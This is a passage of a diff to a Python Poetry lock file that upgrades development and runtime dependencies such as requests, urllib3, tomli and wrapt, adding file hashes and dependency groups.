"sha256:f753120cb8181e736c57ef7636e83f31b9c0d1722c516f7e86cf15b7aa57ff12"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b1fdb9dc17f5a7677423d508ab4f243a726dea51fa5e70992e59a7411c89d19"}, + {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0b69e4ce7a131fe56b7e4d770c67429700908fc0752af059838b1cfb41960e4e"}, + {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a9f8c2e67970f13b16084e04f134610fd1d374bf477b17ec1599185cf611d725"}, + {file = "PyYAML-6.0.2-cp39-cp39-win32.whl", hash = "sha256:6395c297d42274772abc367baaa79683958044e5d3835486c16da75d2a694631"}, + {file = "PyYAML-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:39693e1f8320ae4f43943590b49779ffb98acb81f788220ea932a6b6c51004d8"}, + {file = "pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"}, +] [[package]] name = "readme-renderer" -version = "37.3" -description = "readme_renderer is a library for rendering \"readme\" descriptions for Warehouse" -category = "dev" +version = "44.0" +description = "readme_renderer is a library for rendering readme descriptions for Warehouse" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "readme_renderer-44.0-py3-none-any.whl", hash = "sha256:2fbca89b81a08526aadf1357a8c2ae889ec05fb03f5da67f9769c9a592166151"}, + {file = "readme_renderer-44.0.tar.gz", hash = "sha256:8712034eabbfa6805cacf1402b4eeb2a73028f72d1166d6f5cb7f9c047c5d1e1"}, +] [package.dependencies] -bleach = ">=2.1.0" -docutils = ">=0.13.1" +docutils = ">=0.21.2" +nh3 = ">=0.2.14" Pygments = ">=2.5.1" [package.extras] @@ -508,15 +1308,19 @@ md = ["cmarkgfm (>=0.8.0)"] [[package]] name = "requests" -version = "2.31.0" +version = "2.32.5" description = "Python HTTP for Humans." -category = "main" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, + {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, +] [package.dependencies] certifi = ">=2017.4.17" -charset-normalizer = ">=2,<4" +charset_normalizer = ">=2,<4" idna = ">=2.5,<4" urllib3 = ">=1.21.1,<3" @@ -528,9 +1332,13 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] name = "requests-toolbelt" version = "1.0.0" description = "A utility belt for advanced users of python-requests" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +groups = ["dev"] +files = [ + {file = "requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6"}, + {file = "requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06"}, +] [package.dependencies] requests = ">=2.0.1,<3.0.0" @@ -539,20 +1347,29 @@ requests = ">=2.0.1,<3.0.0" name = "rfc3986" version = "2.0.0" description = "Validating URI References per RFC 3986" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "rfc3986-2.0.0-py2.py3-none-any.whl", hash = "sha256:50b1502b60e289cb37883f3dfd34532b8873c7de9f49bb546641ce9cbd256ebd"}, + {file = "rfc3986-2.0.0.tar.gz", hash = "sha256:97aacf9dbd4bfd829baad6e6309fa6573aaf1be3f6fa735c8ab05e46cecb261c"}, +] [package.extras] idna2008 = ["idna"] [[package]] name = "secretstorage" -version = "3.3.3" +version = "3.4.0" description = "Python bindings to FreeDesktop.org Secret Service API" -category = "dev" optional = false -python-versions = ">=3.6" +python-versions = ">=3.10" +groups = ["dev"] +markers = "sys_platform == \"linux\"" +files = [ + {file = "secretstorage-3.4.0-py3-none-any.whl", hash = "sha256:0e3b6265c2c63509fb7415717607e4b2c9ab767b7f344a57473b779ca13bd02e"}, + {file = "secretstorage-3.4.0.tar.gz", hash = "sha256:c46e216d6815aff8a8a18706a2fbfd8d53fcbb0dce99301881687a1b0289ef7c"}, +] [package.dependencies] cryptography = ">=2.0" @@ -562,55 +1379,111 @@ jeepney = ">=0.6" name = "semver" version = "2.13.0" description = "Python helper for Semantic Versioning (http://semver.org/)" -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +groups = ["dev"] +files = [ + {file = "semver-2.13.0-py2.py3-none-any.whl", hash = "sha256:ced8b23dceb22134307c1b8abfa523da14198793d9787ac838e70e29e77458d4"}, + {file = "semver-2.13.0.tar.gz", hash = "sha256:fa0fe2722ee1c3f57eac478820c3a5ae2f624af8264cbdf9000c980ff7f75e3f"}, +] [[package]] name = "six" -version = "1.16.0" +version = "1.17.0" description = "Python 2 and 3 compatibility utilities" -category = "dev" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["dev"] +files = [ + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, +] [[package]] name = "smmap" -version = "5.0.1" +version = "5.0.2" description = "A pure Python implementation of a sliding window memory map manager" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "smmap-5.0.2-py3-none-any.whl", hash = "sha256:b30115f0def7d7531d22a0fb6502488d879e75b260a9db4d0819cfb25403af5e"}, + {file = "smmap-5.0.2.tar.gz", hash = "sha256:26ea65a03958fa0c8a1c7e8c7a58fdc77221b8910f6be2131affade476898ad5"}, +] [[package]] name = "tomli" -version = "2.0.1" +version = "2.2.1" description = "A lil' TOML parser" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +markers = "python_version == \"3.10\"" +files = [ + {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, + {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ece47d672db52ac607a3d9599a9d48dcb2f2f735c6c2d1f34130085bb12b112a"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6972ca9c9cc9f0acaa56a8ca1ff51e7af152a9f87fb64623e31d5c83700080ee"}, + {file = "tomli-2.2.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c954d2250168d28797dd4e3ac5cf812a406cd5a92674ee4c8f123c889786aa8e"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8dd28b3e155b80f4d54beb40a441d366adcfe740969820caf156c019fb5c7ec4"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e59e304978767a54663af13c07b3d1af22ddee3bb2fb0618ca1593e4f593a106"}, + {file = "tomli-2.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:33580bccab0338d00994d7f16f4c4ec25b776af3ffaac1ed74e0b3fc95e885a8"}, + {file = "tomli-2.2.1-cp311-cp311-win32.whl", hash = "sha256:465af0e0875402f1d226519c9904f37254b3045fc5084697cefb9bdde1ff99ff"}, + {file = "tomli-2.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:2d0f2fdd22b02c6d81637a3c95f8cd77f995846af7414c5c4b8d0545afa1bc4b"}, + {file = "tomli-2.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a8f6e44de52d5e6c657c9fe83b562f5f4256d8ebbfe4ff922c495620a7f6cea"}, + {file = "tomli-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8d57ca8095a641b8237d5b079147646153d22552f1c637fd3ba7f4b0b29167a8"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e340144ad7ae1533cb897d406382b4b6fede8890a03738ff1683af800d54192"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db2b95f9de79181805df90bedc5a5ab4c165e6ec3fe99f970d0e302f384ad222"}, + {file = "tomli-2.2.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40741994320b232529c802f8bc86da4e1aa9f413db394617b9a256ae0f9a7f77"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:400e720fe168c0f8521520190686ef8ef033fb19fc493da09779e592861b78c6"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:02abe224de6ae62c19f090f68da4e27b10af2b93213d36cf44e6e1c5abd19fdd"}, + {file = "tomli-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b82ebccc8c8a36f2094e969560a1b836758481f3dc360ce9a3277c65f374285e"}, + {file = "tomli-2.2.1-cp312-cp312-win32.whl", hash = "sha256:889f80ef92701b9dbb224e49ec87c645ce5df3fa2cc548664eb8a25e03127a98"}, + {file = "tomli-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:7fc04e92e1d624a4a63c76474610238576942d6b8950a2d7f908a340494e67e4"}, + {file = "tomli-2.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4039b9cbc3048b2416cc57ab3bda989a6fcf9b36cf8937f01a6e731b64f80d7"}, + {file = "tomli-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:286f0ca2ffeeb5b9bd4fcc8d6c330534323ec51b2f52da063b11c502da16f30c"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a92ef1a44547e894e2a17d24e7557a5e85a9e1d0048b0b5e7541f76c5032cb13"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9316dc65bed1684c9a98ee68759ceaed29d229e985297003e494aa825ebb0281"}, + {file = "tomli-2.2.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e85e99945e688e32d5a35c1ff38ed0b3f41f43fad8df0bdf79f72b2ba7bc5272"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac065718db92ca818f8d6141b5f66369833d4a80a9d74435a268c52bdfa73140"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:d920f33822747519673ee656a4b6ac33e382eca9d331c87770faa3eef562aeb2"}, + {file = "tomli-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a198f10c4d1b1375d7687bc25294306e551bf1abfa4eace6650070a5c1ae2744"}, + {file = "tomli-2.2.1-cp313-cp313-win32.whl", hash = "sha256:d3f5614314d758649ab2ab3a62d4f2004c825922f9e370b29416484086b264ec"}, + {file = "tomli-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:a38aa0308e754b0e3c67e344754dff64999ff9b513e691d0e786265c93583c69"}, + {file = "tomli-2.2.1-py3-none-any.whl", hash = "sha256:cb55c73c5f4408779d0cf3eef9f762b9c9f147a77de7b258bef0a5628adc85cc"}, + {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, +] [[package]] name = "tomlkit" -version = "0.12.3" +version = "0.13.3" description = "Style preserving TOML library" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "tomlkit-0.13.3-py3-none-any.whl", hash = "sha256:c89c649d79ee40629a9fda55f8ace8c6a1b42deb912b2a8fd8d942ddadb606b0"}, + {file = "tomlkit-0.13.3.tar.gz", hash = "sha256:430cf247ee57df2b94ee3fbe588e71d362a941ebb545dec29b53961d61add2a1"}, +] [[package]] name = "tqdm" -version = "4.66.1" +version = "4.67.1" description = "Fast, Extensible Progress Meter" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, + {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, +] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [package.extras] -dev = ["pytest (>=6)", "pytest-cov", "pytest-timeout", "pytest-xdist"] +dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] +discord = ["requests"] notebook = ["ipywidgets (>=6)"] slack = ["slack-sdk"] telegram = ["requests"] @@ -619,9 +1492,13 @@ telegram = ["requests"] name = "twine" version = "3.8.0" description = "Collection of utilities for publishing packages on PyPI" -category = "dev" optional = false python-versions = ">=3.6" +groups = ["dev"] +files = [ + {file = "twine-3.8.0-py3-none-any.whl", hash = "sha256:d0550fca9dc19f3d5e8eadfce0c227294df0a2a951251a4385797c8a6198b7c8"}, + {file = "twine-3.8.0.tar.gz", hash = "sha256:8efa52658e0ae770686a13b675569328f1fba9837e5de1867bfe5f46a9aefe19"}, +] [package.dependencies] colorama = ">=0.4.3" @@ -635,894 +1512,301 @@ rfc3986 = ">=1.4.0" tqdm = ">=4.14" urllib3 = ">=1.26.0" -[[package]] -name = "typed-ast" -version = "1.5.5" -description = "a fork of Python 2 and 3 ast modules with type comment support" -category = "dev" -optional = false -python-versions = ">=3.6" - [[package]] name = "typing-extensions" -version = "4.7.1" -description = "Backported and Experimental Type Hints for Python 3.7+" -category = "dev" +version = "4.15.0" +description = "Backported and Experimental Type Hints for Python 3.9+" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +markers = "python_version == \"3.10\"" +files = [ + {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, + {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, +] [[package]] name = "urllib3" -version = "1.26.18" +version = "2.5.0" description = "HTTP library with thread-safe connection pooling, file post, and more." -category = "main" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, + {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, +] [package.extras] -brotli = ["brotli (==1.0.9)", "brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] -secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] -socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] +brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] +h2 = ["h2 (>=4,<5)"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] [[package]] name = "vcrpy" version = "4.4.0" description = "Automatically mock your HTTP interactions to simplify and speed up testing" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "vcrpy-4.4.0-py2.py3-none-any.whl", hash = "sha256:560c9d0d8436ced29223ceefb513c3ac3f2e2a60d51a9830f236a1e63167905a"}, + {file = "vcrpy-4.4.0.tar.gz", hash = "sha256:d1109ae93dbc2e7fcbc485849a7600d5dea510d3bef070eec4419c9a72ca2639"}, +] [package.dependencies] PyYAML = "*" six = ">=1.5" -urllib3 = {version = "<2", markers = "python_version < \"3.10\""} wrapt = "*" yarl = "*" -[[package]] -name = "webencodings" -version = "0.5.1" -description = "Character encoding aliases for legacy web content" -category = "dev" -optional = false -python-versions = "*" - [[package]] name = "wheel" -version = "0.42.0" +version = "0.45.1" description = "A built-package format for Python" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "wheel-0.45.1-py3-none-any.whl", hash = "sha256:708e7481cc80179af0e556bbf0cc00b8444c7321e2700b8d8580231d13017248"}, + {file = "wheel-0.45.1.tar.gz", hash = "sha256:661e1abd9198507b1409a20c02106d9670b2576e916d58f520316666abca6729"}, +] [package.extras] test = ["pytest (>=6.0.0)", "setuptools (>=65)"] [[package]] name = "wrapt" -version = "1.16.0" +version = "1.17.3" description = "Module for decorators, wrappers and monkey patching." -category = "dev" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "wrapt-1.17.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:88bbae4d40d5a46142e70d58bf664a89b6b4befaea7b2ecc14e03cedb8e06c04"}, + {file = "wrapt-1.17.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e6b13af258d6a9ad602d57d889f83b9d5543acd471eee12eb51f5b01f8eb1bc2"}, + {file = "wrapt-1.17.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fd341868a4b6714a5962c1af0bd44f7c404ef78720c7de4892901e540417111c"}, + {file = "wrapt-1.17.3-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f9b2601381be482f70e5d1051a5965c25fb3625455a2bf520b5a077b22afb775"}, + {file = "wrapt-1.17.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:343e44b2a8e60e06a7e0d29c1671a0d9951f59174f3709962b5143f60a2a98bd"}, + {file = "wrapt-1.17.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:33486899acd2d7d3066156b03465b949da3fd41a5da6e394ec49d271baefcf05"}, + {file = "wrapt-1.17.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e6f40a8aa5a92f150bdb3e1c44b7e98fb7113955b2e5394122fa5532fec4b418"}, + {file = "wrapt-1.17.3-cp310-cp310-win32.whl", hash = "sha256:a36692b8491d30a8c75f1dfee65bef119d6f39ea84ee04d9f9311f83c5ad9390"}, + {file = "wrapt-1.17.3-cp310-cp310-win_amd64.whl", hash = "sha256:afd964fd43b10c12213574db492cb8f73b2f0826c8df07a68288f8f19af2ebe6"}, + {file = "wrapt-1.17.3-cp310-cp310-win_arm64.whl", hash = "sha256:af338aa93554be859173c39c85243970dc6a289fa907402289eeae7543e1ae18"}, + {file = "wrapt-1.17.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:273a736c4645e63ac582c60a56b0acb529ef07f78e08dc6bfadf6a46b19c0da7"}, + {file = "wrapt-1.17.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5531d911795e3f935a9c23eb1c8c03c211661a5060aab167065896bbf62a5f85"}, + {file = "wrapt-1.17.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0610b46293c59a3adbae3dee552b648b984176f8562ee0dba099a56cfbe4df1f"}, + {file = "wrapt-1.17.3-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b32888aad8b6e68f83a8fdccbf3165f5469702a7544472bdf41f582970ed3311"}, + {file = "wrapt-1.17.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8cccf4f81371f257440c88faed6b74f1053eef90807b77e31ca057b2db74edb1"}, + {file = "wrapt-1.17.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8a210b158a34164de8bb68b0e7780041a903d7b00c87e906fb69928bf7890d5"}, + {file = "wrapt-1.17.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:79573c24a46ce11aab457b472efd8d125e5a51da2d1d24387666cd85f54c05b2"}, + {file = "wrapt-1.17.3-cp311-cp311-win32.whl", hash = "sha256:c31eebe420a9a5d2887b13000b043ff6ca27c452a9a22fa71f35f118e8d4bf89"}, + {file = "wrapt-1.17.3-cp311-cp311-win_amd64.whl", hash = "sha256:0b1831115c97f0663cb77aa27d381237e73ad4f721391a9bfb2fe8bc25fa6e77"}, + {file = "wrapt-1.17.3-cp311-cp311-win_arm64.whl", hash = "sha256:5a7b3c1ee8265eb4c8f1b7d29943f195c00673f5ab60c192eba2d4a7eae5f46a"}, + {file = "wrapt-1.17.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:ab232e7fdb44cdfbf55fc3afa31bcdb0d8980b9b95c38b6405df2acb672af0e0"}, + {file = "wrapt-1.17.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:9baa544e6acc91130e926e8c802a17f3b16fbea0fd441b5a60f5cf2cc5c3deba"}, + {file = "wrapt-1.17.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6b538e31eca1a7ea4605e44f81a48aa24c4632a277431a6ed3f328835901f4fd"}, + {file = "wrapt-1.17.3-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:042ec3bb8f319c147b1301f2393bc19dba6e176b7da446853406d041c36c7828"}, + {file = "wrapt-1.17.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3af60380ba0b7b5aeb329bc4e402acd25bd877e98b3727b0135cb5c2efdaefe9"}, + {file = "wrapt-1.17.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0b02e424deef65c9f7326d8c19220a2c9040c51dc165cddb732f16198c168396"}, + {file = "wrapt-1.17.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:74afa28374a3c3a11b3b5e5fca0ae03bef8450d6aa3ab3a1e2c30e3a75d023dc"}, + {file = "wrapt-1.17.3-cp312-cp312-win32.whl", hash = "sha256:4da9f45279fff3543c371d5ababc57a0384f70be244de7759c85a7f989cb4ebe"}, + {file = "wrapt-1.17.3-cp312-cp312-win_amd64.whl", hash = "sha256:e71d5c6ebac14875668a1e90baf2ea0ef5b7ac7918355850c0908ae82bcb297c"}, + {file = "wrapt-1.17.3-cp312-cp312-win_arm64.whl", hash = "sha256:604d076c55e2fdd4c1c03d06dc1a31b95130010517b5019db15365ec4a405fc6"}, + {file = "wrapt-1.17.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a47681378a0439215912ef542c45a783484d4dd82bac412b71e59cf9c0e1cea0"}, + {file = "wrapt-1.17.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:54a30837587c6ee3cd1a4d1c2ec5d24e77984d44e2f34547e2323ddb4e22eb77"}, + {file = "wrapt-1.17.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:16ecf15d6af39246fe33e507105d67e4b81d8f8d2c6598ff7e3ca1b8a37213f7"}, + {file = "wrapt-1.17.3-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6fd1ad24dc235e4ab88cda009e19bf347aabb975e44fd5c2fb22a3f6e4141277"}, + {file = "wrapt-1.17.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ed61b7c2d49cee3c027372df5809a59d60cf1b6c2f81ee980a091f3afed6a2d"}, + {file = "wrapt-1.17.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:423ed5420ad5f5529db9ce89eac09c8a2f97da18eb1c870237e84c5a5c2d60aa"}, + {file = "wrapt-1.17.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e01375f275f010fcbf7f643b4279896d04e571889b8a5b3f848423d91bf07050"}, + {file = "wrapt-1.17.3-cp313-cp313-win32.whl", hash = "sha256:53e5e39ff71b3fc484df8a522c933ea2b7cdd0d5d15ae82e5b23fde87d44cbd8"}, + {file = "wrapt-1.17.3-cp313-cp313-win_amd64.whl", hash = "sha256:1f0b2f40cf341ee8cc1a97d51ff50dddb9fcc73241b9143ec74b30fc4f44f6cb"}, + {file = "wrapt-1.17.3-cp313-cp313-win_arm64.whl", hash = "sha256:7425ac3c54430f5fc5e7b6f41d41e704db073309acfc09305816bc6a0b26bb16"}, + {file = "wrapt-1.17.3-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:cf30f6e3c077c8e6a9a7809c94551203c8843e74ba0c960f4a98cd80d4665d39"}, + {file = "wrapt-1.17.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e228514a06843cae89621384cfe3a80418f3c04aadf8a3b14e46a7be704e4235"}, + {file = "wrapt-1.17.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:5ea5eb3c0c071862997d6f3e02af1d055f381b1d25b286b9d6644b79db77657c"}, + {file = "wrapt-1.17.3-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:281262213373b6d5e4bb4353bc36d1ba4084e6d6b5d242863721ef2bf2c2930b"}, + {file = "wrapt-1.17.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc4a8d2b25efb6681ecacad42fca8859f88092d8732b170de6a5dddd80a1c8fa"}, + {file = "wrapt-1.17.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:373342dd05b1d07d752cecbec0c41817231f29f3a89aa8b8843f7b95992ed0c7"}, + {file = "wrapt-1.17.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d40770d7c0fd5cbed9d84b2c3f2e156431a12c9a37dc6284060fb4bec0b7ffd4"}, + {file = "wrapt-1.17.3-cp314-cp314-win32.whl", hash = "sha256:fbd3c8319de8e1dc79d346929cd71d523622da527cca14e0c1d257e31c2b8b10"}, + {file = "wrapt-1.17.3-cp314-cp314-win_amd64.whl", hash = "sha256:e1a4120ae5705f673727d3253de3ed0e016f7cd78dc463db1b31e2463e1f3cf6"}, + {file = "wrapt-1.17.3-cp314-cp314-win_arm64.whl", hash = "sha256:507553480670cab08a800b9463bdb881b2edeed77dc677b0a5915e6106e91a58"}, + {file = "wrapt-1.17.3-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ed7c635ae45cfbc1a7371f708727bf74690daedc49b4dba310590ca0bd28aa8a"}, + {file = "wrapt-1.17.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:249f88ed15503f6492a71f01442abddd73856a0032ae860de6d75ca62eed8067"}, + {file = "wrapt-1.17.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a03a38adec8066d5a37bea22f2ba6bbf39fcdefbe2d91419ab864c3fb515454"}, + {file = "wrapt-1.17.3-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:5d4478d72eb61c36e5b446e375bbc49ed002430d17cdec3cecb36993398e1a9e"}, + {file = "wrapt-1.17.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223db574bb38637e8230eb14b185565023ab624474df94d2af18f1cdb625216f"}, + {file = "wrapt-1.17.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e405adefb53a435f01efa7ccdec012c016b5a1d3f35459990afc39b6be4d5056"}, + {file = "wrapt-1.17.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:88547535b787a6c9ce4086917b6e1d291aa8ed914fdd3a838b3539dc95c12804"}, + {file = "wrapt-1.17.3-cp314-cp314t-win32.whl", hash = "sha256:41b1d2bc74c2cac6f9074df52b2efbef2b30bdfe5f40cb78f8ca22963bc62977"}, + {file = "wrapt-1.17.3-cp314-cp314t-win_amd64.whl", hash = "sha256:73d496de46cd2cdbdbcce4ae4bcdb4afb6a11234a1df9c085249d55166b95116"}, + {file = "wrapt-1.17.3-cp314-cp314t-win_arm64.whl", hash = "sha256:f38e60678850c42461d4202739f9bf1e3a737c7ad283638251e79cc49effb6b6"}, + {file = "wrapt-1.17.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:70d86fa5197b8947a2fa70260b48e400bf2ccacdcab97bb7de47e3d1e6312225"}, + 